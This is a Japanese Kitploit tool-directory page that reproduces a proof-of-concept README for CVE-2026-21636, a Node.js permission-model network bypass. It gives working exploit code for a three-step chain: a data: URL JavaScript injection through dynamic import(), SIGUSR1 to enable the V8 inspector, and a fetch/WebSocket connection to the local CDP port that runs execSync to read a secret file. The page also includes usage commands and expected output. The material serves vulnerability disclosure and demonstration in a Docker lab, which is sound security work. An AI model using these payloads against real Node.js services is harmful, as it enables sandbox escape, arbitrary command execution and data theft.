Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/pauldechassey/cve-2026-21636
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用セキュリティ仮想化ペネトレーションテスト
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

Node.jsの権限モデルバイパス(CVE-2026-21636)を実証する概念実証で、undici/fetchを介したローカルサービスへのネットワークアクセスを可能にし、CDPを通じて任意のコード実行を実現します。

リポジトリを見る
94ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-21636 - Node.js 権限モデルの UDS/ネットワークバイパス

脆弱性の概要

Node.js の権限モデル(--permission)は、ファイルシステム、子プロセス、ワーカー、ネットワークへのアクセスを制限することでプロセスをサンドボックス化するように設計されています。CVE-2026-21636 は、undici/fetch(および net/tls)を介してUnix ドメインソケットとローカル TCP アドレスに対して行われる接続が、--allow-net が指定されていない場合でもネットワークガードを完全にバイパスすることを明らかにしています。

影響を受けるバージョン: Node.js v25(ネットワーク権限は開示時点ではまだ実験的です)。
この PoC は、同じバイパスが観測可能な v22 でコンセプトを再現しています。

--permission(ただし --allow-net や --allow-child-process はなし)で実行中のプロセスに任意の JavaScript を注入できる攻撃者は、以下のことが可能です:

  1. 到達不能であるはずの特権ローカルサービスに接続する。
  2. そのサービスを経由してピボットし、サンドボックスの外部で任意のコマンドを実行する。

環境アーキテクチャ

supervisord の下でコンテナ内に 2 つのプロセスが並行して実行されます:

プロセス

target.cjs は起動時に自身の PID を /tmp/target.pid に書き込み、その後無限ループします(アイドル状態の被害者プロセス)。server.mjs は :8000 で Express サーバーを公開し、/pid エンドポイントと脆弱な /language エンドポイントを提供します。

/app/secret.txt は app が所有しています(chmod 444)。両方のプロセスが OS レベルでアクセスできます。このエクスプロイトはファイル権限の壁に依存していません。--allow-net が指定されていないにもかかわらず、server.mjs が fetch()/WebSocket を介して 127.0.0.1:9229 に到達し、サンドボックス化されていない target.cjs プロセス内で任意のコードを実行できることを実証しています。CDP を介した secret.txt の読み取りは、そのコード実行の証明です。

注: この PoC が実際に実証すること

server.mjs はすでに --allow-fs-read=/ で実行されているため、JS インジェクション(ステップ 1)のみを使用してサンドボックス化されたプロセスから /app/secret.txt を直接読み取ることは簡単に可能です:

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

ファイルシステムの読み取りはこの PoC の目的ではありません。目標は CVE-2026-21636 を実証することです: --allow-net が指定されていないにもかかわらず、fetch()(undici)が 127.0.0.1:9229 への TCP 接続を確立し、権限モデルのネットワークガードを完全にバイパスできることを示します。このエクスプロイトはそのバイパスを使用して、CDP を介して完全にサンドボックス化されていない target.cjs プロセスにピボットし、サンドボックス外での任意のコード実行を達成します。これは、どのような --allow-fs-read でも許可されないことです。


エントリポイント - POST /language

このセクションは PoC の範囲外です。

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

サーバーはユーザー制御の文字列に対して動的な import() を実行します。Node.js の import() は data: URL スキームをネイティブにサポートしています:

root@kitploit:~
data:text/javascript,<パーセントエンコードされた JS>

サーバーによって追加される /index.js サフィックスは、ペイロードの末尾に // を追加することで無効化されます(URL コメント / 無視されるパスフラグメントとして扱われます)。

これにより、サンドボックス化されたプロセス内での任意の JavaScript 実行が可能になります - CVE-2026-21636 を悪用するためのエントリポイントです。


権限モデル - 許可されるもの(および許可されないもの)

サーバーは次のコマンドで起動します:

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

意図: 攻撃者が server.mjs 内でコードを実行しても、ネットワークに到達できず、プロセスを生成できず、インスペクターにアクセスできないようにすること。

CVE-2026-21636 は --allow-net の境界を破ります。


攻撃チェーン(3 ステップ)

ステップ 1 - ターゲット PID の取得

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs は起動時に自身の PID を /tmp/target.pid に書き込みます。サーバーはそれを公開します。これにより、CDP リレーとして使用される被害者プロセスが特定されます。 これはエントリポイントに JS を注入することでも実行できます。簡略化するために、/pid エンドポイントを作成しました。


ステップ 2 - SIGUSR1 を介して target.cjs で V8 インスペクターを有効化

POST /language を介して注入されるペイロード(data: URL として):

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

Node.js プロセスが SIGUSR1 を受信すると、V8/CDP デバッガーが起動(または再開)され、次のアドレスでリッスンを開始します:

root@kitploit:~
127.0.0.1:9229

target.cjs は --permission なしで実行されるため、そのインスペクターは完全に特権を持ちます。require('child_process').execSync(...) を含む任意の式を評価できます。

シグナルの送信(process.kill)は権限モデルによって制限されないため、このステップはサンドボックス内から成功します。


ステップ 3 - CDP に接続してコマンドを実行(CVE-2026-21636)

POST /language を介して注入される 2 番目のペイロード:

root@kitploit:~
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

--allow-net が指定されていないのにこれが機能する理由:

Node.js の fetch() は undici によって実装されています。CVE-2026-21636 は、http://127.0.0.1:...(および UDS socketPath オプション)に対する undici の接続パスが権限モデルのネットワークチェックを通過しないことを示しています。サンドボックスは発信ネットワークアクセスが行われていないと認識しますが、:9229 への TCP 接続は成功します。

CDP の Runtime.evaluate 呼び出しはサンドボックス化されていない target.cjs プロセス内で実行されるため、require('child_process') が利用可能で、execSync が自由に動作します。


完全なエクスプロイトの流れ

root@kitploit:~
attacker (Python script)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → target.cjs inspector starts on :9229
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              CVE-2026-21636 bypass here
                                              (fetch to 127.0.0.1 without --allow-net)

使用方法

root@kitploit:~
# Build and start the environment
docker compose up --build -d

# Run the exploit
python3 exploit.py

期待される出力:

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

参考情報

  • NVD - CVE-2026-21636
  • Node.js Permission Model documentation
  • V8 Inspector / CDP protocol
  • undici - Node.js built-in HTTP client
ツールをダウンロード
ユーザー
フラグ
機能
target.cjsappなし完全な Node.js API、サンドボックスなし
server.mjsapp--permission --allow-fs-read=/完全な FS 読み取り — ネットワークなし、子プロセスなし、ワーカーなし
権限ステータス
--allow-fs-read=/許可(完全な読み取り)
--allow-fs-write拒否
--allow-net拒否(実験的、未設定)
--allow-child-process拒否
--allow-worker拒否
--allow-inspector拒否